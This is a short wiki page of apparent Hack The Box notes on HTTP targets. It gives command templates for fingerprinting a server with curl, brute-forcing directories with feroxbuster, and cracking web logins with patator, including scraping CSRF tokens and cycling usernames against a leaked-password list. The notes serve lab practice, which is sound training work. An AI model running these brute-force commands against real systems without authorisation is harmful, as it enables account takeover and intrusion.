Justus: Add page

2026-01-05T07:56:35Z

Add page

New page

= Fingerprint =

Given <code>$HOST</code> and $PORT:

<syntaxhighlight lang="bash">curl -i http://$HOST:$PORT</syntaxhighlight>
<span id="feroxbuster"></span>
= Feroxbuster =

Given <code>$HOST</code>, <code>$PORT</code> and <code>$MACHINE</code>, and <code>$WORDLISTS</code>

Wordlists to try out:

# <code>SecLists/Discovery/Web-Content/dsstorewordlist.txt</code>
# <code>SecLists/Discovery/Web-Content/big.txt</code>

<syntaxhighlight lang="fish">feroxbuster --url http://$HOST:$PORT \
--wordlist=(cat $WORDLISTS | sort -u | psub) \
-o machines/$MACHINE/feroxbuster.log -C 404</syntaxhighlight>
<span id="cracking"></span>
= Cracking =

Use patator for complex pw cracking, esp. with csrf tokens:

<syntaxhighlight lang="fish">patator.py \
http_fuzz \
url=http://$HOST:$PORT/$PATH \
method=POST \
accept_cookie=1 \
before_urls=http://$HOST:$PORT/$BEFORE_PATH \
# Example
before_egrep='_N1_:<input name="__RequestVerificationToken" type="hidden" value="(\S+)" \/>' \
body='userNameOrEmail=FILE0&password=FILE1&rememberMe=false&__RequestVerificationToken=_N1_' \
# Concat several files
0=(echo 'administrator
james' | psub) \
1=SecLists/Passwords/probable-v2-top1575.txt \
# Ignore if these results come up
-x ignore:fgrep='The username or e-mail or password provided is incorrect' -l log
-x ignore:fgrep='Internal Server Error' -l log

</syntaxhighlight>

HtbTricks/HTTP - Revision history

Justus: Add page